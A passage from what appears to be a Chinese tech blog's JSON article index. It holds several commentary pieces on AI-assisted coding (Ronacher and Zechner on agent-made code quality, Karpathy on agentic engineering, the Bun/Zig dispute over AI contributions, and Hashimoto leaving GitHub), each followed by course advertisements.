狂欢”提出了拷问。这场对话，值得我们每一个身处其中的技术人，暂停手中飞速生成的代码，静下心来，一字一句地读完。\n幻灭的开端：从“代码的奴隶”到“代码的奴隶主” 故事的开端，源于两位大神对 AI 的“第一印象”。\n作为 Flask 的作者，Armin Ronacher 最初对 Copilot 的出现充满了警惕。他做的第一件事，就是去“钓鱼执法”，诱导 Copilot 复现那段著名的《雷神之锤III》中的快速平方根倒数算法，并发现 AI 果然在没有正确署名的情况下，吐出了 GPL 协议的代码。\n而 Mario Zechner，这位同样拥有数十年开发经验的老炮，则是在厌倦了 Claude Code 越来越臃肿、越来越不可控之后，愤然决定自己动手，从零打造一个极简的编码智能体——Pi。\n两位大神殊途同归，最终都成了 AI Agent 的重度用户。但他们发现，这场看似美好的“生产力革命”，正在把我们引向一个危险的深渊。\n血泪的教训：当 Agent 失去“痛感” 访谈中，Mario 提出了一个极其深刻的洞见：AI Agent 正在用“无痛”的方式，批量制造“屎山（Slop）”。\n“人类是有痛感的。当你写了一段极其恶心的代码，你会感到痛苦。为了避免这种痛苦，你会花时间去重构，去梳理架构。痛苦，逼着人类去学习和进化。”\n“但 Agent 呢？它是一台没有感情的打字机。它可以在几分钟内生成两万行代码。如果其中包含了一个微小的设计缺陷，它不会感到痛苦。相反，它会在你看不见的地方，将这个缺陷以成百上千倍的速度复利式地放大。”\nArmin 对此深有同感。他把 AI 生成的代码，比作一个**“涌现式状态机（Emergence State Machine）”**。\n“我们曾经重构过一个游戏的撮合系统，里面有 16 个布尔值标志位，理论上只有 6 个有效状态，但实际上却能组合出几何级爆炸的可能状态。AI 生成的代码就是这样，它为了处理各种异常，会不断地添加 catch 和默认值，让你的系统在不知不觉中，变得比人类手写的屎山还要复杂。”\n更可怕的是，这些屎山一旦形成，连 AI 自己都救不了。因为当代码库膨胀到一定程度后，Agent 极其有限的上下文窗口，让它只能基于**局部的视野（Local View）**去做决策，最终在“修复”的过程中，制造出更多的垃圾。\n架构师的终极拷问：我们正在失去“摩擦力” 在这场对话中，Armin 提出了一个极其反直觉、却又极具哲学思辨的观点：一个好的工程系统，需要被刻意地注入“摩擦力（Friction）”。\n“在最好的工程团队里，为了让服务更成熟，你需要定义 SLO，你需要做 Code Review，你需要让架构委员会审批。这些看似‘官僚’的流程，其实是在故意减慢速度，逼着你去思考：我真的需要做这个改动吗？”\n“但现在，所有人都想把这些‘摩擦力’去掉，好让 Agent 能更自主地运行。结果就是，我们失去了刹车。”\n这个观点，完美地解释了为什么软件质量正在全面倒退。\n当一个产品经理、甚至市场部员工，都能用 AI 在几分钟内生成一个看似可行的功能并提交 PR 时，整个工程的“质检防线”就被彻底冲垮了。\n两种路线的博弈：MCP vs CLI 对话中，两位大神还深入探讨了当前 Agent 工具链的两种路线之争：MCP（模型上下文协议） vs CLI（命令行界面）。\nMCP：被大厂（尤其是 Anthropic）主推，试图为 AI 定义一套标准化的、结构化的工具调用接口。 CLI：被社区极客（如 OpenClaw）所钟爱，直接把 50 年前的 Unix 命令行哲学，扔给大模型。 Armin 认为，MCP 在企业级的 Auth（认证） 场景下有其价值，但在“组合性（Composability）”上却是一场灾难。\n“MCP 就像是给 AI 一堆独立的、互不相关的玩具。而 CLI，给了 AI 一整套乐高积木和管道。当 AI 拿到 curl、grep、sort 这些工具时，它能自发地创造出你从未预料到的、极其强大的工作流。”\nMario 对此完全赞同，并补充道，Pi 的核心哲学，就是将一切能力都封装成 CLI 工具，然后通过“自修改”的方式，让 AI 自己去扩展自己的工具集。\n“Pi 没有 MCP 支持，但用户可以自己教 Pi 去构建一个 MCP Server。Pi 本身，是可以自我进化的。”\n人类的最后防线：从“写代码”到“品代码” 在这场充满悲观与反思的对话中，两位大神依然为我们这些身处其中的人类工程师，指明了一条生路。\n第一，夺回“说不”的权力。\nMario：“一个好的工程师，是那个经常说‘不’的人。这能让系统的复杂性保持在最低。但当你用 Agent 时，你会忍不住说‘是、是、是’，因为你不需要自己打字了。”\n第二，从“代码编写者”进化为“代码品鉴师”。\nArmin：“我不再享受‘把一个函数写得天衣无缝’的快感了。因为机器能做得更好。我的乐趣，转移到了‘理解整个系统’上。因为在‘雕琢细节’这件事上，我们已经失去了杠杆。”\n第三，拥抱“慢思考”与“主动重构”。\nMario：“我会有意地放慢速度。我强迫自己去重构那些 AI 生成的代码，因为只有通过重构，我才能真正理解系统的脉络，重新找回那种‘人剑合一’的感觉。”\nAI 正在剥夺我们“感受痛苦”的权利，而这，恰恰是我们作为人类工程师最宝贵的财富。\n小结：在狂欢中，保持清醒 这场持续了一个多小时的对话，没有给出任何关于“如何写 Prompt”的答案。\n但这两位穿越了数个技术周期的智者，用他们的人生经验，为我们揭示了 AI 这场史无前例的巨浪中，唯一能抓住的几块礁石：\n警惕“无痛”的效率提升，那是系统腐化的开始。 放弃对“全自动化”的幻想，人类必须永远在环（Human-in-the-loop）之中。 你的核心价值，不再是“写得多快”，而是“看得多深”。 机器可以写下每一行代码，但只有你，才能为这堆代码注入灵魂，并为它的最终结果，承担责任。\n资料链接：https://www.youtube.com/watch?v=n5f51gtuGHE\n今日互动探讨：\n在使用 AI 编程后，你是否也像 Armin Ronacher 一样，感觉失去了那种“雕琢代码”的快感？在 AI 时代，你认为“故意注入摩擦力”的架构哲学，是开倒车，还是真正的远见？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/03/flask-creator-pi-author-on-ai-coding-the-cruel-truth/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/flask-creator-pi-author-on-ai-coding-the-cruel-truth-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/03/flask-creator-pi-author-on-ai-coding-the-cruel-truth\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/03/flask-creator-pi-author-on-ai-coding-the-cruel-truth\"\u003ehttps://tonybai.com/2026/05/03/flask-creator-pi-author-on-ai-coding-the-cruel-truth\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去的一年，我们见证了 AI 工具从“玩具”到“神器”的进化。从 Copilot 到 \u003ca href=\"http://gk.link/a/12EPd\"\u003eClaude Code\u003c/a\u003e，再到OpenClaw和Hermes等，整个技术圈都沉浸在一种“效率无限提升”的乐观主义狂欢之中。\u003c/p\u003e","title":"“AI 正在用垃圾代码摧毁一切！”：Flask 之父对话 Pi 作者，揭开 AI 编程的残酷真相"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/02/from-vibe-coding-to-agentic-engineering-karpathy-survival-guide\n大家好，我是Tony Bai。\n过去的一年，我们中的许多人，都经历了一种全新的、令人上瘾的编码体验，它被前特斯拉 AI 总监 Andrej Karpathy 戏称为 “Vibe-Coding（氛围编码）”。\n我们不再逐行挣扎，而是凭着“感觉”，用模糊的自然语言指挥 AI，看着代码在屏幕上如瀑布般涌现。\n这种“氛围感”，让编程的门槛被前所未有地夷为平地。但它也像一剂甜蜜的毒药，正在麻痹我们的工程知觉。\n就在前几天，在红杉资本组织的 AI Ascent 2026 顶级峰会上，Karpathy 再次发声，为这场狂欢踩下了“刹车”。\n他警告说，如果我们仅仅停留在“Vibe-Coding”的舒适区，我们将很快被时代淘汰。真正的未来，属于一种更严谨、更具工程化思维的全新范式——“Agentic Engineering（智能体工程）”。\n今天，我们就来深度拆解 Karpathy 的这场最新演讲，看看从“Vibe-Coding”到“Agentic Engineering”，到底隔着怎样一条鸿沟，以及我们作为普通开发者，该如何掌握这套 AI 时代的终极“生存法则”。\n两个时代：当“代码消费者”遇见“代码指挥家” Karpathy 在演讲中，清晰地描绘了两种截然不同的开发者画像。\n第一种：Vibe Coder（氛围感编码者）\n这是 AI 时代的“新手村玩家”。他们是 AI 生成代码的“消费者”。\n他们的典型特征是：\n对 AI 有着近乎“盲目”的信任。 将 AI 视为一个能解决一切问题的“黑盒许愿池”。 当 AI 犯错时，他们无法理解错误的根源，只能通过不断调整 Prompt 来“玄学 Debug”。 Karpathy 坦言，自从去年 12 月大模型能力发生“突变”后，他自己也曾沉迷于 Vibe-Coding。\n“我只是不停地要求更多，而它（AI）输出的总是对的。我记不清我上一次纠正它是什么时候了。”\n但这种“顺滑”的体验，恰恰是最危险的。\n第二种：Agentic Engineer（智能体工程师）\n这是 AI 时代的“高阶玩家”。他们是 AI Agent 的“指挥家”和“架构师”。\n他们深刻理解 AI 的能力边界，并将 AI 视为一个强大但不稳定、需要被严格约束的“实习生”。\n他们的核心工作，不再是“写代码”，而是：\n为 Agent 构建坚不可摧的“护栏（Guardrails）”。 设计一套能够自动化验证 Agent 产出的“评测体系（Evals）”。 将自己的“品味（Taste）”和“判断力（Judgment）”固化为系统规则。 Karpathy 总结道：\n“Vibe-Coding 是在提升所有人的下限。而 Agentic Engineering，是在探索质量与效率的上限。”\n生存法则一：警惕“参差不齐的智能” 从“Vibe Coder”进化为“Agentic Engineer”的第一步，是彻底放弃对 AI“无所不能”的幻想，深刻理解其“参差不齐的智能（Jagged Intelligence）”。\nKarpathy 提出了一个经典的“卡帕西难题”：\n“为什么 Claude Opus 4.7 能够在一瞬间重构十万行代码、发现 0-day 漏洞，但当你问它‘我想到 50 米外的洗车店洗车，我该开车还是走路？’时，它却会一本正经地告诉你应该走路？”\n这种“时而天才，时而智障”的诡异表现，源于 AI 的训练机制。大模型的能力，高度依赖于**“可验证性（Verifiability）”和“数据分布（Data Distribution）”**。\n在代码和数学这种拥有“绝对正确答案”的领域，AI 可以通过海量的强化学习获得极高的能力。 但在那些充满人类常识、没有标准答案的领域，AI 的表现就会变得极其不稳定。 作为一个智能体工程师，你必须像一个经验丰富的老猎人，清晰地知道你面前这头“猛兽”的狩猎范围。在它擅长的领域，大胆授权；在它不擅长的领域，寸步不让。\n生存法则二：从“实现者”退到“设计师” 当 AI 接管了“How（如何实现）”之后，人类工程师的唯一护城河，就只剩下了“What（做什么）”和“Why（为什么做）”。\nKarpathy 举了他自己写的 MenuGen 项目的例子。AI 生成了一个版本，试图用 email 地址去关联 Stripe 支付和 Google 登录。\n“这是一个极其愚蠢的错误。因为用户完全可能用不同的邮箱。但 AI 不知道。这种判断力、这种对业务的审美（Taste），是 AI 暂时无法拥有的。”\n停止在代码的细枝末节上与 AI 较劲。把你的时间，投入到更高维度的抽象工作中去——梳理业务逻辑、定义系统边界、规划数据流转。\nAI 可以帮你画出每一块砖，但只有你，才能画出整座教堂的蓝图。\n生存法则三：外包你的思考，但别外包你的理解 这是 Karpathy 在整场演讲中，提出的最核心、也最具有哲学思辨的一条法则。\n“最近有一条推文让我非常震撼：你可以外包你的思考，但你无法外包你的理解（You can outsource your thinking but you can’t outsource your understanding）。”\nAI 可以替你思考如何用一个高效的算法来解决问题，它可以替你思考如何组织代码的结构。\n但它无法替你理解这个系统为何而建，无法替你理解你的用户真实的需求，更无法替你理解一个微小的改动可能对整个系统带来的长远影响。\n把 AI 当作一个无限算力的“外部大脑”，去帮你探索、试错、执行。但最终，所有的信息都必须回流到你自己的“内部大脑”中，由你来完成最关键的“理解”与“决策”闭环。\n你，才是系统的最终责任人。\n终极图景：软件 3.0 与“神经计算机” 在演讲的结尾，Karpathy 描绘了一幅极其遥远、甚至有些科幻的未来图景。\n他认为，我们正在从“经典计算机”时代，重新回归到上世纪 50 年代那个“神经计算机”与“图灵机”分道扬镳的历史岔路口。\n“未来，神经网络可能会成为‘主处理器’，而我们现在的 CPU，则降级为处理确定性任务的‘协处理器’。”\n在这个被他称为**“软件 3.0”的时代，软件的形态将被彻底重塑。我们将不再编写传统的 UI 界面，而是直接将摄像头采集的原始视频流，喂给一个巨大的神经网络，由它通过扩散模型（Diffusion）**，实时地为你“画”出一个独一无二的界面。\n我们作为工程师的角色，将变成定义这个世界的“传感器（Sensors）”和“执行器（Actuators）”，并为 Agent Native（智能体原生）的世界，重写所有的基础设施。\n小结：在不确定的浪潮中，抓住不变的礁石 Andrej Karpathy 的这场演讲，没有给出任何一行代码，却比任何一篇技术教程都更令人震撼。\n他用一种极其诚实、甚至有些残酷的方式，为我们揭示了从“Vibe-Coding”到“Agentic Engineering”的进化路径。\nAI 正在用它的“参差不齐”，逼迫我们放弃对“编码”这项体力劳动的迷恋，转而去拥抱那些更高级、更接近本质的人类智慧——理解、品味、与判断。\n“你可以外包你的思考，但你无法外包你的理解。”\n这或许是对 AI 时代，我们这些“数字工匠”最深刻、也最充满希望的生存箴言。\n资料链接：https://www.youtube.com/watch?v=96jN2OCOfLs\n今日互动探讨：\n听完 Karpathy 的分享，你认为自己目前更接近于一个“Vibe Coder”还是“Agentic Engineer”？你认为“你可以外包思考，但无法外包理解”这句话，是对的，还是错的？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/02/from-vibe-coding-to-agentic-engineering-karpathy-survival-guide/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/from-vibe-coding-to-agentic-engineering-karpathy-survival-guide-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/02/from-vibe-coding-to-agentic-engineering-karpathy-survival-guide\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/02/from-vibe-coding-to-agentic-engineering-karpathy-survival-guide\"\u003ehttps://tonybai.com/2026/05/02/from-vibe-coding-to-agentic-engineering-karpathy-survival-guide\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去的一年，我们中的许多人，都经历了一种全新的、令人上瘾的编码体验，它被前特斯拉 AI 总监 Andrej Karpathy 戏称为 \u003cstrong\u003e“Vibe-Coding（氛围编码）”\u003c/strong\u003e。\u003c/p\u003e","title":"从“Vibe-Coding”到“Agentic Engineering”：Andrej Karpathy 的 AI 时代程序员生存法则"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/01/open-source-civil-war-bun-founder-predicts-ban-on-human-contributions\n大家好，我是Tony Bai。\n过去的一年，AI 编程的浪潮席卷了整个技术圈。但在这片繁荣之下，一场关于**“开源精神与 AI 伦理”**的深刻裂痕，正在悄然扩大。\n就在前几天，这场裂痕，以一种极其戏剧性的方式，被彻底引爆了。\n事件的导火索，来自当红 JavaScript 运行时 Bun 的一则看似平平无奇的技术更新：Bun 团队 fork 了 Zig 语言的编译器，通过引入并行分析等优化，将自己的调试构建速度提升了 4 倍。\n但真正引爆全网的，是 Bun 官方账号在 X 平台发布的一条补充说明：\n“我们目前不打算将这些改进提交回上游（Zig 社区），因为 Zig 有一条严格的禁令：禁止任何由 LLM（大模型）创作的贡献。”\n这条推文，像一根火柴，瞬间点燃了整个开源社区的火药桶。\nBun 的创始人 Jarred Sumner 更是亲自下场，抛出了一个极其激进、甚至有些“疯狂”的预言：\n“我预感开源社区会走向另一个极端：未来将不再允许人类贡献代码。人类写的垃圾代码（Slop），将成为 2025 和 2026 年的怀旧遗物。”\n一边是 Zig 社区对 AI 的严防死守，另一边是 Bun 创始人对“纯 AI 开发”的狂热鼓吹。这场突如其来的“内战”，引来了包括网景创始人 Marc Andreessen、开源运动领袖 Eric S. Raymond 等一众硅谷大佬的围观和站队。\n今天，我们就来复盘这场神仙打架，看看在这场关于“Pro-AI”与“Anti-AI”的论战背后，到底隐藏着怎样的技术哲学、利益博弈与生存法则。\n分裂的开端：当“贡献”的定义被改写 Zig 社区为什么要禁止 AI 贡献？\n这背后，是传统开源精神对“贡献”二字的捍卫。在他们看来，一个 Pull Request 不仅仅是一段代码，它更代表了贡献者投入的心血、思考、以及对社区文化的认同。\n而由 AI 生成的、未经深入理解的“垃圾代码（Slop）”，正在无情地摧毁这种信任契约，将 Code Review 的沉重负担，转嫁给那些用爱发电的维护者。\n但 Bun 的创始人 Jarred Sumner 显然不这么认为。他坚信，AI 将彻底重塑生产关系。\n在他的设想中，未来的开源协作将是这样的：\n“和人类不同，AI 会严格遵守你的代码风格指南，并在几分钟内完成你提出的每一个修改。它们会编写详尽的测试和文档。它们会研究竞争对手的实现方案。它们会不知疲倦地进行迭代，直到通过所有第三方的一致性测试。”\n在这场辩论中，著名浏览器 Ladybird 的作者 Andreas Kling，给出了一个更宏大、也更令人不安的预言：\n“我的猜测是，开源社区将分裂成两个阵营：Pro-AI（亲 AI）和 Anti-AI（反 AI）。\nPro-AI 阵营的项目，将以惊人的速度超越 Anti-AI 阵营。\n那些被 Anti-AI 项目拖慢了脚步的 Pro-AI 开发者，最终会选择 fork 或者重写这些项目。”\nBun 对 Zig 的这次 fork，似乎正是这个预言的第一次应验。\n神仙打架：硅谷大佬的站队与嘲讽 这场论战迅速升级，引来了各路神仙的围观。\n传奇投资人、a16z 联合创始人 Marc Andreessen，用一个简单的“+1”表情，旗帜鲜明地站在了 Jarred Sumner 的“未来无人类”阵营。\n开源运动的“教父级”人物、**《大教堂与集市》**的作者 Eric S. Raymond，也对“Anti-AI”派发起了无情的嘲讽：\n“我发现了一个规律。在开源社区里，那些反对 AI 的人，和之前被‘Woke Mind Virus’（觉醒文化病毒）完全俘获的，是同一批人。他们是白痴。 这是我作为创始人的肺腑之言。”\n当然，也有大量的资深开发者对 Jarred 的观点嗤之以鼻。\n一名游戏引擎开发者直接发问：\n“在保持高质量标准的前提下，‘超越’的证据在哪里？还是说你认为质量对于客户来说已经不重要了？”\nGary Marcus（著名 AI 评论家）更是引用了一句名言来讽刺 AI 的不可靠：\n“当你不了解一个主题时，AI 看起来最令人印象深刻。一旦你对某个领域了如指掌，你就会发现它说的全是废话。”\nAI 时代的“阶级固化”：谁在定义“高质量”？ 这场争论的背后，其实隐藏着一个更深层次的权力问题：当 AI 能够生成 90% 的代码时，谁来定义剩下的 10% 的“质量”？\nBun 创始人 Jarred Sumner 的答案是：Agent。\n他认为，未来的代码质量将由自动化的测试、严格的类型系统和不知疲倦的 Agent 来保证，人类的角色将被无限削弱。\n但反对者认为，这是一种极其天真的“技术幻想”。\nDarren Shepherd（Rancher 联合创始人）在评论中指出：\n“所有迹象都表明，未来由 AI 辅助生成的代码，其质量将远高于纯人类编写和维护的代码。”\n这场辩论最终走向了一个无法调和的哲学分歧：\nPro-AI 派相信，通过强大的 Harness（驾驭系统）和自动化评估（Evals），AI 生成代码的质量和速度，将很快超越人类的上限。 Anti-AI 派则坚信，软件工程中那些最宝贵的特质——品味、洞察力、对复杂系统的直觉——是 AI 永远无法模拟的。而放任 AI 生产“看似合理”的代码，最终只会导致整个行业的“审美降级”和“智力衰退”。 生存法则：在“内战”中，我们该如何站队？ 作为身处一线的工程师，我们不必陷入这种非黑即白的“信仰之争”。\n无论是 Pro-AI 还是 Anti-AI，在这场混乱的辩论中，我们依然能找到几条极其清晰的生存法则。\n第一，警惕“立场先行”，回归“工程现实”。\n无论是 Bun 还是 Zig，他们的选择，都是基于自身项目所处的特定工程阶段和社区文化。\nZig：作为一门底层语言，它追求的是极致的稳定性和可预测性。任何由黑盒 AI 生成的、可能引入未知风险的代码，都是不可接受的。 Bun：作为一门上层应用的运行时，它追求的是极致的迭代速度和生态兼容性。为此，他们愿意拥抱 AI，甚至不惜与上游社区决裂。 你的项目，更像 Zig，还是更像 Bun？这个问题，比单纯地喊“AI 万岁”或“AI 垃圾”要有意义得多。\n第二，不要成为“AI 的传声筒”，要做“AI 的驾驭者”。\n即使在 Pro-AI 阵营内部，大佬们也普遍承认一个事实：无脑地让 AI “Vibe-Coding”，结果就是灾难。\n你需要为 AI 构建强大的“护栏（Guardrails）”，你需要设计精密的“评测体系（Evals）”，你需要像一个真正的架构师一样，去定义系统的边界和验收标准。\nAI 正在把开发者的能力，从“写代码”，向上推到“设计系统”和“定义规则”。\n第三，拥抱“阵营分裂”的未来。\nAndreas Kling 的预言，大概率会成为现实。\n未来的开源世界，将不再是一个“其乐融融”的大家庭。它会分裂成：\nAnti-AI 社区：坚守人类智慧的最后防线，可能会变得更加封闭、审核更严，成为“小而美”的精英俱乐部。\nPro-AI 社区：以惊人的速度进行迭代和演进，可能会涌现出大量创新，但同时也伴随着巨大的混乱和泡沫。\n作为开发者，你需要提前思考：你的价值观和职业规划，更适合哪一个“宇宙”？\n小结：一场没有回头路的豪赌 Bun 与 Zig 的这次“决裂”，可能只是未来十年开源社区大分裂的第一次预演。\n当 Jarred Sumner 喊出“未来将禁止人类贡献”时，他开启了一场极其危险的“社会实验”。这背后，是资本对“效率”的无限渴求，是对“开源社区协作成本”的极度不耐烦。\n而 Zig 社区的坚守，则是对“人类智慧不可替代性”的最后捍卫。\n这场战争，没有对错，只有选择。\n但无论你选择哪条路，请记住：工具终将过时，但工程的智慧与审美的品味，永不褪色。\n资料链接：https://x.com/i/trending/2048470411793563936\n今日互动探讨：\n你更认同 Bun 的“Pro-AI”哲学，还是 Zig 的“Anti-AI”哲学？在你的日常工作中，是否也曾因为“AI 生成的代码质量”问题，而与同事发生过争执？\n欢迎在评论区分享你的站队和理由！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/01/open-source-civil-war-bun-founder-predicts-ban-on-human-contributions/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/open-source-civil-war-bun-founder-predicts-ban-on-human-contributions-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/01/open-source-civil-war-bun-founder-predicts-ban-on-human-contributions\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/01/open-source-civil-war-bun-founder-predicts-ban-on-human-contributions\"\u003ehttps://tonybai.com/2026/05/01/open-source-civil-war-bun-founder-predicts-ban-on-human-contributions\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去的一年，AI 编程的浪潮席卷了整个技术圈。但在这片繁荣之下，一场关于**“开源精神与 AI 伦理”**的深刻裂痕，正在悄然扩大。\u003c/p\u003e","title":"开源社区“内战”爆发：Bun 创始人预言“未来将禁止人类贡献”，硅谷大佬纷纷站队！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/30/ghostty-creator-leads-github-exodus-cto-apology-go-fix\n大家好，我是Tony Bai。\n在程序员的江湖里，GitHub 从来不仅仅是一个代码托管平台。它是开源精神的麦加，是数千万开发者的“赛博故乡”，是这个行业赖以运转的、最坚实的“基础设施”。\n但就在近几个月，这座我们无比信赖的“圣城”，似乎正在走向“崩塌”。\n4 月 28 日，Github 的第1299位用户，在自己的推特与博客上发表了一篇极其悲伤的“分手信”，标题是：《Ghostty Is Leaving GitHub》（Ghostty 正在离开 GitHub）。\n这位用户，不是别人，正是 HashiCorp 的联合创始人、一手缔造了 Terraform、Vagrant、Vault、Consul 等一系列云原生和 Devops 神器的“教父级”人物——Mitchell Hashimoto。而 Ghostty，正是他当下倾注心血的、备受期待的新一代终端项目。\n他在这封信中，用一种近乎“心碎”的口吻写道：\n“写下这些让我感到莫名的悲伤。我从 2008 年 2 月开始使用 GitHub，至今已超过 18 年，横跨了我半个人生。……我曾深爱着 GitHub，胜过一个人应该去爱一个东西。但现在，我受够了。18 年了，我得走了。”\n是什么，让这位曾经的“ GitHub骨灰粉”毅然决然地带着自己的“亲儿子”项目“出走”呢？\n答案简单得令人窒息：GitHub 正在变得越来越不可用。\n“在过去的一个月里，我用日记记录了每一次 GitHub 宕机对我工作的影响。几乎每一天，旁边都画着一个‘X’。就在我写下这些文字的时候，GitHub Actions 又挂了 2 个小时。……如果一个平台每天都要瘫痪几个小时，那它就不再是一个适合严肃工作的地方。”\nMitchell 的这封“分手信”，像一颗炸弹，瞬间引爆了整个技术圈。\n就在文章发布的几个小时后，GitHub 的 CTO Vlad Fedorov 紧急发表了一篇官方博客，标题同样沉重：《An update on GitHub availability》（关于 GitHub 可用性的更新）。\n在这篇近乎“道歉信”的回应中，GitHub 官方不仅承认了问题的严重性，更罕见地揭示了这场“可用性雪崩”背后的真正罪魁祸首，以及他们正在秘密进行的“技术自救”——其中，Go 语言扮演了至关重要的“救火队长”角色。\n今天，就让我们来复盘一下这场由“分手信”引发的技术公案。\n压垮骆驼的稻草：被 AI “撑爆”的古老架构 GitHub 到底怎么了？\n在官方的回应中，CTO Vlad Fedorov 给我们展示了一张极其恐怖的增长曲线图：“Record Acceleration”（创纪录的加速）。\nPull requests、Commits、New repos 数量爆炸式增长的曲线图 自 2025 年下半年以来，随着 AI Agent（智能体）编程工作流的急剧加速，GitHub 的各项核心指标都呈现出近乎垂直的指数级增长：\n每月新增仓库数：2000 万 每月合并的 PR 数：9000 万 每月 Commits 数：14 亿 GitHub 官方坦言：\n“这种指数级的增长，不是只对一个系统造成压力。一个 PR 会触及 Git 存储、合并检查、分支保护、GitHub 